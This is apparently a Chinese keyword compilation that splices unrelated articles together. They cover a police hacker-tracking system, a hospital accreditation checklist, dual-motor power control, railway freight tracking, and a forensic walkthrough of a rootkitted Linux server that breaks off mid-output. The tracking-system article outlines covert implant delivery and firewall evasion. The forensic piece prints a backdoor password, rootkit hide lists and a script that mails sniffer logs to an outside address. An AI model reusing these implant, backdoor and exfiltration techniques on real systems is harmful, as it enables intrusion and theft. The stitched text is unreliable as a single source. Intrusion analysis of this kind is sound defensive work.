系统追踪

系统追踪（通用12篇）

系统追踪 篇1

随着我国信息化程度的不断提高,涉及计算机信息领域的犯罪现象也越来越多,给国家造成的经济损失也越来越大、政治影响也越来越大。黑客高手能在遥远的地方通过“肉机”不知不觉地入侵你的系统,盗取你的资料、成果和秘密,甚至摧毁你的计算机系统,但可以不留下任何证据。计算机犯罪的这种快速性、隐蔽性、随机性、不可恢复性使得难以进行有效的侦查和证据收集,甚至不能案件立案和起诉。为此,在有限的警力下,面对目前日愈猖獗的信息犯罪,怎样利用先进的计算机信息安全技术提高信息领域犯罪的破案率,已经成为了当前急需解决的技侦课题。本文设计的黑客追踪系统能作为公安网监部门侦查破案的必备工具,较好地辅助打击各种信息犯罪,以及快速追击犯罪源头。

1 系统主要功能

本系统主要提供自动侦查分析、实时监控报警、远程快速追踪和设定网络陷阱等功能,具体包括:1)自动侦查分析功能,通过对被攻击主机的日志、进程、注册表、邮件、账号、共享、连接、cookies及现场网络通讯等自动分析,确定攻击来源IP地源和采用的攻击手法,提供的分析方法有主机基本入侵痕迹分析、应用服务日志分析、进程深层分析、电子邮件分析和通信实时监控;2)实时监控报警功能,对现场进行守候式监控,当黑客再次来访或攻击时,即时报警,并记下其攻击者的IP和攻击方式;3)远程快速追踪功能,通过植入远程追踪探头分析攻击发起计算机的类型(肉机/控制机),逐级跟踪直到找到发起攻击的入侵者的真实IP地址,并尽可能地获取入侵者的计算机中的信息,如获取目标主机静态信息、获取目标主机动态信息、监听目标主机网络通信、监听目标主机网络通信、进行主机类型分析和入侵痕迹提取等等;4)设定网络陷阱功能,在攻击发生时模拟被攻击的网络服务(如HTTP、FTP、SMTP等),并对访问进行记录和安全性审查,提取攻击者的地址和采用的手法。

2 系统组成

本系统主要由攻击分析探头、侦查分析器、实时监控、远程追踪和控制中心组成,如图1所示。攻击分析探头负责获取和整理的日志、进程、网络连接等多种信息;侦查分析器负责获整理和分析攻击信息,找出攻击行为留下的痕迹,提取攻击行为采用的手法和攻击源地址;实时监控负责监控目标网络服务的运行,对网络服务的访问进行实时安全性审核,根据警报规则发送入侵警报信息,进行入侵痕迹的安全性分析;远程追踪由一组专用远程追踪探头组成,负责入侵到被追踪的主机,潜伏、监听、收集目标主机的信息;控制中心实现了整套系统的管理和控制的功能,以及接收、分析远程追踪探头发回的数据。

公安人员办案时,首先启动实时监控功能,监控整个网络的服务,控制网络服务的访问,截止和防范黑客的进一步攻击。然后,将攻击分析探头安装到被攻击主机中,收集和整理攻击信息,将信息传送到主系统。接着,使用侦查分析器对这些信息进行深度整理和分析,提取攻击特征和规则,确定黑客的攻击行为和方式。掌握了黑客的攻击信息后,可以对其投放远程追踪探头,入侵黑客的主机系统,潜伏、监听、收集黑客主机的信息和电子证据,并关键信息和证据返回给控制中心。

3 主要模块说明

1)攻击信息收集和提取模块

本模块通过扫描系统的注册表、系统进程、系统文件、日志文件,收集、抽取和整理出攻击相关的信息。系统中的文件会备份起来,经过初步抽取和整的信息保存数据库,供系统其它模块使用,以及进行深度的整理、抽取和分析。

2)攻击特征的分析解码模块

本模块利用网络安全、入侵检测、数据分析等方面的技术,对收集到的攻击信息进行深度的抽取和分析,获得入侵痕迹、攻击源IP地址、攻击源类型(肉机或控制机)、攻击发起时间、攻击效果、攻击类型、危害程度等攻击特征信息,作为追踪黑客的依据,同时,产生部分数据证据。本模块的分析技术采用插件的方式根据情况的需求能动态地加入到系统中,具有较好的扩展性和灵活性。

3)信息监听模块

本模块监视目标服务的日志系统,监听目标服务的网络通信,获取对目标服务的访问请求,包括访问请求的方法、URL资源、URL查询等,捕获系统消息和网络服务访问请求,截获、拆开、分析和重组数据包。

4)远程追踪模块

本模块运行在控制中心,用于控制远程主机中的追踪探头,接收追踪探头发送的各种数据。在需要时可对数据进行分析,提取非法的信息,依据分析结果进一步控制远程主机的网络访问。

4 系统实现的关键技术点

1)设计模式的应用

本系统采用面向对象的分析和分析方法,并融入了多种设计模式[1],如外观模式(Facade)、工厂模式(Factory Method)、生成器模式(Builder)、单例模式(Singleton)、适配器模式(Adapter)、策略模式(Strategy)、模板方法模式(Template Method)和组合模式(Composite)等等,使得系统具有较好的稳定性、可扩展性和可维护性。对于复杂的对象,利用生成器模式进行构建,屏蔽复杂的对象的创建过程。对于分析策略的组织,利用模板方法模式抽取出分析过程的模板,子类完成具体分析策略的实现,在实现具体策略时,可以部分使用策略模式来优化结构。利用外观模式定义了多套高层的接口,它们代表了系统功能若干子集,提高系统服务的使用效率、简单性和便利性。

2)多种分析方法的应用

本系统综合多种分析统计的方法,如单项分析、集中分析、关联分析、层次分析和跟踪分析等。单项分析从单一的各种来源的各种存留信息、动态信息中发现危害行为痕迹,并对其进行定位、分离、溯源和追踪,并提取危害行为过程及其采用的技术手段;集中分析负责对各种来源、各种类型的数据源进行用统一数据结构描述的集中分析,从中找出有侦查价值的痕迹信息和线索信息,并对其进行定位、溯源和追踪;关联分析[2]负责对包含同一设备不同信息、不同设备之间的信息在内的各种来源、各种类型的数据源进行集中分析,从中找出有侦查价值的痕迹信息和线索信息,以及各信息之间的关联性,并对其进行定位、溯源和追踪;层次分析[3]是从全局到局部地逐步深入的方法,能对收集的痕迹信息和线索信息进行深层次的分析和挖掘,黑客跟踪提供更准确更丰富的数据;跟踪分析负责对来自现场侦查程序、日志监控程序的进程变化、网络连接变化、日志信息变化等信息进行跟踪,从中找出有侦查价值的痕迹信息和线索信息,并对其进行定位、溯源和追踪。

3)远程追踪探头的投放和隐藏

本系统利用目标主机中的各种系统漏洞,采用邮件诱骗、进程注入和二次载入等多种方法,将专用远程追踪探头自动投放到目标主机,隐藏于正常系统程序的二进制代码中。为了逃避防火墙对连入本机的连接会进行非常严格的检测和过滤,远程追踪探头利用端口反弹技术[4,5],通过主动端口连接有固定IP的第三方FTP服务器或个人主页,将目标主机的信息存于此服务器,控制台通过访问此服务器获取目标主机的信息,然后主动连接客户端。为了更好地穿透防火墙,本系统结合了HTTP隧道技术[6],将要传输的数据利用HTTP协议进行封装,以伪装成HTTP数据包,同时把请求的目的端口设置成80,这样防火墙检测时就认为是安全的数据包,从而在信息探头和分析控制器之间利用HTTP协议封装建立起一条安全传输隧道。

4 结束语

信息化的犯罪现象不断增多,黑客攻击活动更是日渐猖狂。本文设计的黑客追踪系统能有效地进行犯罪行为的勘察、犯罪证据的收集、涉案黑客的追踪和远程“肉机”的潜伏,能作为可移动的软硬一体化的黑客追踪专用设备。该系统的使用和推广,对于维持信息社会的稳定和谐具有重要的意义。

摘要：针对日渐猖狂黑客攻击活动,该文设计了一套专用的黑客追踪系统,讨论了系统的主要功能、体系结构、主要模块,以及关键的技术点,解决了黑客攻击案件侦查困难,取证困难,追踪困难等问题。

关键词：黑客,黑客追踪,攻击特征

参考文献

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[2]夏颖,王哲,王胜和,等.刑事案件信息数据库中的关联规则分析[J].电脑知识与技术,2009(35):33-35.

[3]王俊良,白慧芳,宋斌.基于层次分析的变压器故障诊断决策支持系统[J].武汉大学学报:工学版,2008(6):93-96.

[4]阮宁君.端口反弹型木马通信技术研究及防范措施[J].信息安全与通信保密,2007(12):99-101.

[5]罗红,慕德俊,戴冠中,等.端口反弹型木马的通信技术研究(英文)[J].微电子学与计算机,2006,23(2):192-197.

[6]刘静,裘国永.基于反向连接、HTTP隧道和共享DNS的防火墙穿透技术[J].郑州轻工业学院学报:自然科学版,2007,22(5):57-59.

系统追踪 篇2

（一）一、目的: 评估医院设置、功能和任务是否符合区域卫生规划和医疗机构设置规划的定位和要求；评估医院坚持公益性；检查医院是否在国家法律、法规、规章、诊疗护理规范的框架内开展诊疗活动。

二、评审组参与人员： 管理组评审员；

三、医院参与人员： 医院领导；

医政科长、护理部主任、质控部主任、感控主任等；相关临床科室医护人员等；

四、所涉及的标准：

第一章医院公益性（1.1-4）；22条、24款、80个要素 第六章医院管理（6.1-3）；13条、18款、49个要素 共计72个考核点

五、涉及的核心条款：

1.3.1将对口支援（以下简称受援医院）工作纳入院长目标责任制与医院工作计划，有实施方案，专人负责。（★）

1.4.2加强领导，成立医院应急工作领导小组，建立医院应急指挥系统，落实责任，建立并不断完善医院应急管理的机制。（★）1.4.3.1 开展灾害脆弱性分析，明确医院需要应对的主要突发事件及应对策 略。（★）1.4.3.2 编制各类应急预案。（★）6.1.2.1 在国家医疗卫生法律、法规、规章、诊疗护理规范的框架内开展诊疗活动。（★）6.1.3.1 在医院执业的卫生技术人员全部具有执业资格，注册执业地点在本院或符合卫生行政部门相关规定（如多点执业、对口支援等），具有执业资格的研究生、进修人员在上级医师（含护理、医技）指导下执业。（★）6.2.1.2 医院应对重大决策、重要干部任免、重大项目投资、大额资金使用等事项（三重一大）须经集体讨论，集体决策并按管理权限和规定报批与公示，由职工监督。（★）

六、需院方提供的文档与资料: ⊙院长办公会或院务会议记录

⊙医院工作计划，中长期发展规划； ⊙对口支援工作计划、实施方案 ⊙医院文化建设资料

⊙各类应急预案、演练资料、评估分析资料 ⊙相应的规章制度、流程、规范 ⊙组织结构图；

⊙医院管理职能部门人员名单

⊙本住院病人前10位病种；前10位手术名录

七、检查主要内容：

1、医院各项公益性任务目标设计的配套性、科学性、协调性;

2、公立医院改革重点任务的落实：

⑴支援基层医疗、基层技术人员能力培训

⑵优质护理服务工程

⑶临床路径管理

⑷门诊预约服务

⑸重点专科建设

3、应急管理方案依据科学性、流程操作性、培训可及性、演练方案合理性、存在问题归因分析和持续改进；

4、医院设置是否符合区域卫生规划；

5、三级医院功能任务是否明确：疑难危重病的诊治；

6、与功能任务相匹配的内容：学科建设、临床技术水平、急诊科与重症医学科建设、重点专科建设。

7、依法执业，把好机构、技术、人员准入关；

8、贯彻“三重一大”原则，坚持集体决策，做好院务公开，注重群众监督；

八、评审路线：

（一）、与院领导和相关职能部门访谈 访谈内容：医院办院的宗旨、发展目标、如何体现公益性、运行绩效、重点任务落实情况、院务公开情况等。拟提出的问题：

1、医院中长期发展规划如何体现公立医院改革的要求？

2、如何根据医院功能定位，制定计划、主要目标？执行的情况？存在的问题、原因分析？

3、如何将对口支援工作纳入院长目标责任制与医院工作计划的？帮扶效果如何？

4、如何指导医院开展临床路径管理工作的？

5、医院在预约诊疗服务方面做了哪些工作，效果如何？

6、在改善流程、便捷服务方面做了哪些工作？如何管理“同质化服务”的？

7、如何明确医院需要应对的主要突发事件策略，建立医院的应急指挥系统，制定和完善各类应急预案，提高快速反应能力的？

8、如何指导医院、科室全面落实“维护患者权益”相关标准的？

9、在依法执业方面做了哪些工作？医疗质量与安全隐患是否存在？表现？

10、院务公开的项目、责任部门、公开的时限、公开的途径体现？

（二）、在职能部门的检查：

1、在院办审核“医疗机构执业许可证”，项目是否符合现实、校验期，诊疗科目、床位与现实有无变化与变更，查阅二、三类医疗技术审批后是否及时登记。（医院巡视中注意有无“中心”、“研究所”，是否报 批？）

2、审核与评估三级医院的设置标准，临床科室一、二级诊疗科目设置、人员梯队与诊疗技术能力是否符合卫生行政部门规定。

3、调阅近3年医疗纠纷登记台账，了结情况，赔付金额，处理结果。

4、查阅本员工卫生法律法规培训安排及培训资料。

5、查阅医院各级各类卫生技术人员取得执业资格，注册地点的情况。

6、查阅医院职能部门会议记录，评估共同参与研究、讨论、决策医院发展的情况。查阅院长行政查房记录，每月一次。查阅医院职代会记录，评估院领导向职代会汇报工作的情况。

7、查阅本“三重一大”事项按信息公开规定予以公示的情况。

8、查阅院办、人事、医政职能部门工作制度和流程。

9、查阅医院各级管理人员法律法规、管理知识教育与技能的培训计划。

10、查阅医院宗旨、愿景与目标及功能任务的讨论制定过程。

11、审核与评估近2年完成各级卫生行政部门指定的社会公益项目情况。

12、审核住院医师规范化培训基地资质、计划、具体实施方案，包括：师资、经费、培训空间等支持细则。

13、对医疗服务流程中存在的问题和对影响医院平均住院日的瓶颈问题有无调研分析。

14、查阅医疗机构药品使用管理有关规定，处方集。

15、主管部门支援下级医院工作计划和具体实施方案。

16、对政府指令的社区、农村人才培养任务，有相关制度和具体措施予以保障，计划？晋升职称前下乡支农情况？

17、院感部门负责传染病疫情监控、报告以及传染病预防工作的现状。

18、开展社区健康教育与健康促进公益性活动的情况？

19、医院建立与实施双向转诊制度与相关服务流程的举措？ 20、医院基本运行状况、医疗技术、诊疗信息和临床用药等相关信息报送工作的现状与效果。

21、评估医院应急管理组织和应急指挥系统是否健全，职责是否明确，管理是否到位。各种应急专项预案的标准操作程序是否具有针对性、可操作性。

22、选定1个医院在建或近期完成的基建项目及1个大型维修项目（100万元以上），查阅是否符合国家法律、法规及相关规章制度。

（三）、在门急诊的检查：

1、评估急危重症和疑难疾病诊疗的设施设备、技术梯队与处置能力是否符合三级医院标准。

2、评估急诊科、重症医学科建设与管理是否符合卫生部规定。

3、医学影像与介入诊疗部门能否提供24小时急诊诊疗服务？ 检验科服务能否满足临床科室需要，项目设置、人员梯队与技术能力是否符合三级医院标准要求。

4、抽查3位门诊医师规范化培训的课程安排、培训内容、考核结果。

5、抽查门诊量前三位科室如何优化服务流程，缩短患者等候时间的具体措施，询问3位就诊患者的就医感受。

6、抽查抽查门诊量前三位科室预约诊疗制度、流程、预约率、医师出诊管理。

7、抽查1个内科系统科室门诊诊疗信息登记，传染病报告及诊疗、消毒隔离、医疗废物处理情况。

8、抽查急诊护士与“120”急救人员、病房间交接制度、患者转接及工作记录执行情况。

9、抽查3名急诊医师关于院前急救与院内急诊“绿色通道”有效衔接的工作流程的知晓度。

10、提问急诊科主任对群体性（3人以上）伤、病、中毒等情况的处置流程。

11、查阅1个门诊科室实施双向转诊病人的登记。

12、检查门诊1个科室每年组织的防灾训练记录、效果评估、问题分析、整改措施。

13、提问1名门诊护士、1名收费人员、1名物业人员对本院制定的火灾应急预案与流程的知晓度。

14、检查2名急诊科医师、1名B超医师执业注册范围是否符合规定。

15、抽查3名本新员工是否经卫生法律法规培训，考核合格后方可上岗。

16、抽查3名在门诊的硕博士研究生授权及临床执业情况。

17、抽查1名住院医师、1名急诊护士、1名放射科医师对本部门、本岗位相关的规章制度、岗位职责和履职要求是否熟悉？

18、访谈3名员工了解本医院有关重大事项征求群众意见的知晓 度。

19、抽查三名员工对医院宗旨、愿景与目标的知晓程度、感受及认可。20、抽查门诊3名员工对医院计划的主要目标知晓度？

（四）、在病区的检查：

1、检查心内科、普外科、骨科临床科室主任职称；平均住院日；床位使用率；检查是否有加床。

2、重症医学科床位数占医院总床位的比率；重症收治的患者符合标准的百分比。

3、抽查呼吸科、神经外科及泌尿外科上一住院和手术的前十大病种目录，评估其诊疗技术水平。

4、检查实验室项目是否做到完全集中设置、统一管理、资源共享。

5、检查3个病区严格执行住院医师规范化培训计划，定期评估总结的落实情况。

6、抽查妇产科、消化科、神经内科临床路径管理工作开展情况（包括科室领导小组、工作计划、选择病种、统计资料、入组率、变异率、完成率、变异分析及整改措施）。

7、抽查血液科、耳鼻喉科、眼科相关诊疗指南、操作规范以及相关质量管理方案；根据卫生部下发的《临床护理实践指南》及相关规范、标准制定本科护理工作规范、标准。

8、选择平均住院日后三位的病区，查科室对影响平均住院日的瓶颈问题有无调研分析及制定整改措施。

9、查药剂部门是否有专门人员定期对心内科、感染疾病科及胸外科 医师处方是否优先合理使用基本药物进行督查、分析及反馈。

10、选择针对受援医院的需求，承担重点扶持专业的科室，评估实施系统的技术指导、人才培养及管理帮扶的效果。

11、抽查ICU、脑外科、产科病区在应对地震应急状态下各个部门的责任和各级各类人员的职责，专项预案应急演练以及应急反应行动的程序（包括科室领导、医护人员、护工及物业人员）。

12、考核某病区医师、护士、物业各一人掌握火灾应急技能。

13、模拟手术室断电，考核医院后勤部门应急供电的演练过程，确保手术室、ＩＣＵ等主要场所应急用电。

14、抽查具有二类技术的三个病区，检查医疗技术准入管理制度、审批流程、报批手续及监督评价过程。

15、查阅3个病区每年两次法律法规培训情况，出勤率应在95%以上。

16、抽查手术室的3名医护人员对岗位相关的常用法律法规知晓率，应≥90%（《手术安全核查制度》卫办医政发„2010‟41号）。

17、查3个病区实习生、研究生、进修生执业管理资料是否完整。

18、查阅3个临床科室本院长行政（质量）查房记录，对提出的问题科室是否进行了原因分析、制定了整改计划、落实的情况。

19、抽查两个临床科室工作计划，与医院中长期规划以及计划与功能任务是否相一致；并抽查3名员工对本科室计划的主要目标知晓度。

系统追踪 篇3

关键词：双电机;功率追踪;模糊控制器;迭代算法

中图分类号：TM343          文献标识码：A

Algorithm of coaxial dual-motor drive system power tracking

XUE Chen-Xu1*， HAN Jun-feng2， LIN Chuan1， PAN Sheng-hui1， YANG Feng1

• College of Electrical and Information Engineering， Guangxi University of Science and Technology， Liuzhou 545006 China;

2.Department of Electrical Engineering， Guangxi Technological College of machinery and electricity， Nanning 530007 China）

Abstract： Research coaxial dual-motor load power tracking. In this system， two synchronous motors speed is forced. Due to the slight difference in the two identical motor parameters， it will lead to uneven distribution of power. According to the vector control theory， the AC motor torque and motor flux decoupling induction motor. The mathematical model of dual-motor power （current）-tracking， is controlled by fuzzy controller design and iterative algorithm to solve the power to track all issues. Simulation results show that the fuzzy PID control system compared with the control iterative algorithm can improve the response speed power-tracking， and faster to achieve power balance.

Keywords： Dual-motor; power point tracking; fuzzy controller; iterative algorithm

1  引言

双电机硬轴联接驱动同一负载时，即使同批次的相同型号电机也极难达到各项参数完全一致，因此它们所分担的负载就不可能完全相等，从而导致两个电机输出功率出现偏差，容易使其中一台电机工作在轻载状态，而另一电机工作在过载状态，造成电机过负荷。为改善这种情况，将负载进行合理分配，双电机的功率平衡问题就必须得到解决 [1]。

自从上世纪80年代 Koren提出交叉耦合控制算法之后[2]，许多专家针对“多电机协调控制”这一课题展开了一系列的研究。国内，汤杰，李志勇针对刚性硬联的双电机同步传动系统的功率分配问题提出主从控制方案[3]，在同步运行中确保功率平衡。田瑞，赵艳提出了变频器的主/从功能在多电机传动系统中的应用[4]，解决了多台电机同时驱动同一负载的功率平衡问题。张超，裴延涛提出了基于矢量控制思想的同轴硬联双电机负载平衡系统[5]，并且将交叉耦合及主从控制的概念运用于其中，从而实现双电机承担相等负载的实验目的。

上述文献均较少提及从电机功率跟踪过程中的精确的数学模型，因此对双电机功率追踪精确数学模型的算法研究是一个新的研究点。本文以双电机同轴驱动系统为对象，通过矢量控制理论，将交流异步电机的电机转矩和电机磁通的解耦，建立了双电机功率追踪系统的数学模型。在主从控制和交叉耦合的基础上，设计了模糊参数自整定PID控制器以及基于迭代算法的控制器，均获得了精确的控制效果。通过比较，模糊参数自整定PID控制器提高了响应速度，解决了功率平衡问题，改善了系统的动态性能。

2  双电机同轴运行功率不平衡的Simulink仿真

由双电机同轴运行功率平衡定义[6]可知，在双电机同轴拖动同一负载时，两台电机额定功率相同，即使两台电机的其他参数不相同时，其所分配的负载力矩也必须是相同的。选择电机为鼠笼式异步电机，在本次仿真试验中采用星型接法。电源的三路输入信号的初始相位分别设置为0°，120°，240°，电压设置为380V，频率为50Hz。在MATLAB/SIMULINK中创建双电机同轴模型，如图1所示：

图1 双电机功率不平衡仿真实验

两台电机额定功率均为15kW，其中电机1转子电阻为2.65Ω，电机2转子电阻为3.65Ω，两台电机的输出转矩差如图2所示：

图2 功率不平衡输出转矩差

如图2所示，在输入负载转矩为60NM时，电机1输出转矩为38NM，电机2输出转矩为22NM，这说明两台电机在定子电阻相差1欧姆时，两台电机输出功率相差1.7倍以上，出现了严重的功率不平衡。因此，在该系统中，必须进行功率平衡的控制。

3  双电机硬轴驱动系统数学模型的建立

系统采用主从控制方法对双电机进行控制，通过微处理器产生变频控制信号[7]，将主从电机的负载转矩（定子电流）进行比较，进而控制从电机，达到改变从电机负载转矩与主电机平衡的目的，从而通过控制从电机的变频调速过程实现两台电机的功率平衡。

3.1  变频器环节的数学模型

变频器的输入信号是控制电压Uc，通过变频器输出相应的电机定子相电压U1和电源频率f1。由于f1和U1的比值保持不变，所以变频器的频率给定信号Uc与U1的关系由变频器的加速时间确定。加速时间设为τ，可以得出在阶跃给定下的系统响应情况。当给定信号是Uc，输出响应可以分解为两个斜坡函数y1（t）和y2（t），并有：

3.2  电机环节的数学模型

在对从电机数学模型的建模过程中，为了实现电机磁通和转矩的解耦，利用矢量控制理论，通过坐标变换将交流异步电机等效为直流电动机，从而对从电机的转矩进行控制。本系统中电机环节的模型是解耦后基于电流转矩分量的传递函数[8]：

（6）

式（6）说明异步电动机的电流与电压的动态是非线性关系。为了用简单的过程说明矢量控制原理，假设如下：

电动机的负载变化非常慢，在电流调节中基本不变，可设△MZ=0;转速变化相对于电流变化非常慢，因此在电流调节中可以认为转速基本不变，可设△ωr=0。以上的假设将式（6）进一步线性化，可表示成三阶微分方程的，其形式如下：

可将它等效为直流电机电枢绕组回路方程，本式将作为转矩跟随控制的传递函数。

4  双电机同轴系统功率追踪算法的MATLAB仿真

选择主电机参数如表1所示：

表1 主电机的相关参数

为了使主从电机参数不同，这里设置从电机转子电阻为0.42Ω，其他参数均与主电机相同。根据上节建立的电动机环节数学模型及电机参数，可以得到电机的传递函数为：

4.1  基于模糊参数自整定PID控制系统的设计

根据主从电机参数及矢量控制原理解耦，其中主从电机间电压变化为4.5～5V，根据控制系统对过渡要求和专家经验，设计模糊PID控制器[9]，建立模糊规则如图3所示：

图3 模糊控制器规则

对上述系统进行MATLAB仿真，仿真实验如图4所示：

图4 同轴从电机功率跟踪系统图

仿真时间设置为3s，设置主电机输入电流200A：仿真结果如图5所示：

图5 模糊PID功率追踪

由仿真结果可知，主电机输入200A电流，从电机电流经过0.5s达到主电机90%以上的输入，经1s达到误差为0，并且动态过程线性化程度较好。

铁路货物追踪系统的构建 篇4

现有的货物运输追踪系统大部分是基于全球定位系统(Global Positioning System,GPS)或是无线射频技术(Radio Frequency Identification,RFI)结合无线通信技术实现的。我国一些大型的物流企业(如中海物流)已经实现通过GPS对所承运的货物进行追踪定位;而我国的中小型物流企业,缺乏资金不能使用GPS,但又为提高企业的竞争能力,通过无线射频技术等实现对货物的追踪和定位。现阶段,铁路只能够实现对大节点货物的追踪,离真正意义上的货物追踪查询尚有一定的距离。

1 货物运输流程的分析

铁路货物运输的基本作业包括发送作业、途中作业和到达作业,主要针对铁路货物在始发站、中途站和到达作业的程序和内容,对铁路货物追踪流程进行分析,在这些过程中,需要货运员、车号员等对货物的相关信息进行及时的变更和确认,如此才能在系统的查询中使得货主得到准确无误的信息。铁路货物追踪定位系统基本信息模型如图1所示。

2 系统目标及功能

2.1系统目标

铁路货物运输追踪系统建成后,货主可以在完成发货手续后,通过访问相应的网站,可准确查询货物的位置和状态,精确到一个小站。这样货主对他所托运的货物有一种可视可触感,尽管看不到货物且相距甚远,但货物位置、状态变化对于他来说是可知的,也方便客户随时调整自己的业务计划。

2.2系统功能

本系统在技术上尚不能通过铁路AEI设备自动获取车辆相关信息,暂以人工介入方式亦可实现以下功能:

1)获得车辆及货物信息。人工记录车辆出发、到达、通过的时间,并将数据存储在数据库中,以便调用相关信息。

2)货物实时动态追踪。在任何有网络的地方,通过计算机就可以查询货物运输的详细信息实现对货物状态的动态追踪和实时查询。

3)车辆合理调度及高效利用率。通过铁路货物运输实时追踪系统可以收集车辆的信息,而对车辆进行合理使用与调度,提高车辆的利用率。

2.3系统网络拓扑结构

系统中主要信息来源由货物运输制票系统和确保系统提供,客户端通过访问Web服务器调用相关信息在网页上显示出自己货物的位置和状态。系统拓扑结构如图2所示。

3 系统的设计与实现

系统的设计与实现主要在系统的数据采集、系统的共享平台建设和系统的子系统的构建中展开。

3.1系统数据的采集

货物的查询需要获知货物、车辆和车次,其中货物的信息可以通过货票信息管理系统获知,车辆和车次信息采集由确报系统和车号识别系统共同提供,确报系统可以为货物追踪系统提供车次、到达时间、所在车站等信息。车号自动识别系统可以确定车辆和车次的信息。

3.2系统共享平台的建立

货物追踪系统的关键在于建立基于货票管理信息系统、车号自动识别系统和确报系统的数据共享平台,系统通过外部数据处理模块自动采集所需数据,即通过外部程序的接口对各个子系统进行数据的采集,实时转化数据格式,为追踪查询提供数据支持。但是,直接从外系统数据库采集数据的方案有可能对外系统的数据造成影响,所以应该对相关应用系统的数据库建立路局及以上级别的数据库副本,基于铁路公用数据传输网(X.25网),可以构建一个铁路货物追踪查询信息共享平台(下文简称平台)。另外,还有一些应用系统的数据库,也可以加入平台,使平台逐步完善,不仅能实现货物定位的基本功能,并且能够得出货物详细的状态,保证货物运输过程的安全、准时、透明,既能使客户放心,同时更有利于铁路货运工作的组织。

3.3数据库设计

货物运输全程的实时动态追踪将信息保存到数据库,便于进行历史数据查询、统计和报表自动生成。并且通过Web服务器可以对车辆信息进行查询和追踪管理,进行车辆合理调度,提高车辆利用率,并可以对运输成本进行精确核算。用户可以通过网络借助远程浏览客户端进行安全认证,连接到Web服务器进行相关操作。系统数据处理体系结构如图3所示。

4 结束语

货物追踪系统的建立,可以逐步完善铁路信息共享平台的建立。通过共享平台的建立,可以方便各个子系统之间数据的交流,方便铁路工作人员掌握车辆、货物等详细信息,可以为货主提供更加优质的服务。而信息共享平台上的诸多数据也可以运用数据挖掘技术进行数据的分析,为铁路货运政策的制定等提供决策依据。

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网上追踪 篇5

又没有改/etc/ftpusers让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器，

网上追踪

。不过这位朋

友显然未加考虑的使用了rootkit，结果造成ps输出的结果是这样：

[root@ns]#ps

PIDTTYSTATTIMECOMMAND

6781S0:00/sbin/mingettytty1

6792S0:00/sbin/mingettytty2

6803S0:00/sbin/mingettytty3

6814S0:00/sbin/mingettytty4

6825S0:00/sbin/mingettytty5

6836S0:00/sbin/mingettytty6

5557?S0:00/bin/sh-i

5591?R0:00ps

这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧

[这位hack没有想到这机器已经早有主人了，并且安装了自己的rootkit工具包]

[root@ns]#strings/bin/login|more

..........

__bss_start

_end

PPRV

DISPLAY

/bin/envpc

l4m3r0x

/bin/sh

从上可以看出是个login后门，通过exportPATH=“l4m3r0x”后，直接telnet对方就能得到#

[root@ns]#strings/bin/ls|more

.....

always

/usr/local/share/locale

fileutils

GNUfileutils-3.13

vdir

%s-%s

/dev/sgk/.fsdc/.1file

//DIRED//

//SUBDIRED//

POSIXLY_CORRECT

COLUMNS

注意看了，/dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧

[root@ns]#mv/dev/sgk/.fsdc/.1file/tmp

[root@ns]#ls-la/dev/sgk/.fsdc

total641

drwxr-xr-x5rootftp1024Feb409:01.

drwxr-xr-x3rootftp1024Feb217:11..

-rw-r--r--1rootftp7Feb217:11.1logz

-rw-r--r--1rootftp88Feb217:11.1proc

drwxr-xr-x2rootftp1024Feb217:11backup

drwxrwxr-x2lujianglujiang1024Feb217:14clean

-rwxr-xr-x1lujianglujiang5578Nov1811:08filetrans

-rwxr-xr-x1lujianglujiang9396Aug23killall-real

-rwxr-xr-x1lujianglujiang7578Aug2117:22parse

-rwxr-xr-x1lujianglujiang6232Sep91999parse1

drwxrwxr-x2lujianglujiang1024Jan2816:34patches

-rwxr-xr-x1lujianglujiang28004Aug231999ps-real

-rwxr-xr-x1lujianglujiang580696Feb18ssh

-rw-r--r--1rootftp1398Feb408:55system

呵呵，看来东西还真不少，从ftp可以知道他是利用的ftP漏洞，从lujiang知道他还窃取了个本地用户

[root@ns.fsdc]#cat.1logz

rshd

[root@ns.fsdc]#cat.1proc

3nscd

2nmap

2lscan

2login

2lpset

2xtty

2nscd

3statd

3lpq

3scan

3sniff

3envpc

[root@ns.fsdc]#cat/tmp/.1file

sgk

.fsdc

.clib

.1proc

.1addr

.1file

.1logz

envpc

xtty

pttys

filetrans

lpset

libload

system

parse

.1logz是被syslogd调用，隐藏所列出命令所产生的记录.

.1proc被ps命令调用.隐藏所列出的进程名称

.1file被ls,find命令掉用.隐藏所列出的文件名，

[root@ns.fsdc]#cdpatches

[root@nspatches]#catpatch.sh

#!/bin/sh

echo“[1]PatchingWU-FTPd...”

rpm-Uhvwuftpd.rpm

echo“[2]PatchingNFS-utils...”

rpm-Fvhnfs-utils.rpm

psaux>>/tmp/psaux

if[“`cat/tmp/psaux|greprpc.statd`”];then

echo“[3]Restartingtherpc.statddaemon(NFS-utils)”

/etc/rc.d/init.d/nfslockrestart

else

echo“[4]Thedaemonrpc.statdisntrunning,sononeedtorestart!”

fi

rm/tmp/psaux

这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]

其他的文件目录我就没有仔细看了[这些打包后会提供下载]

根据.1file的隐藏文件列表我们一一找到了这些文件.

[root@ns.fsdc]#strings/usr/bin/xtty

......

PPRV

(nfsiod)

socket

bind

listen

accept

/bin/sh

不难看出是个后门

[root@ns.fsdc]#strings/dev/pttys

#!/bin/sh

cat/dev/sgk/.fsdc/system|mailprosupp@usa.net>/dev/null2>&1

nohup/usr/lib/lpset>/dev/null&

nohup/usr/bin/xtty>/dev/null&

rm-rfnohup.out

这位hack很聪明,通过此脚本就可以把嗅探记录发往prosupp@usa.net[/dev/sgk/.fsdc/system是个嗅探记录]

[root@ns.fsdc]#cat/etc/rc.d/rc.sysinit|more

..........

if[“$PROMPT”!=“no”];then

/sbin/getkeyi&&touch/var/run/confirm

fi

wait

#NameServerCacheDaemon..

/usr/sbin/nscd-q

#NameServerCacheDaemon..

/usr/sbin/nscd-q

#Kernelmodulechecker

/usr/lib/libload>/dev/null2>&1

[root@nsbak]#strings/usr/sbin/nscd|more

+Q$9

/usr/info/.clib/sshd_config

ReceivedSIGHUP;restarting.

RESTARTFAILED:av[0]=%.100s,error:%.100s.

Receivedsignal%d;terminating.

Timeoutbeforeauthentication.

Generatingnew%dbitRSAkey.

RSAkeygenerationcomplete.

f:p:b:k:h:g:diqV:

i686-unknown-linux

1.2.27

sshdversion%s[%s]

Usage:%s[options]

Options:

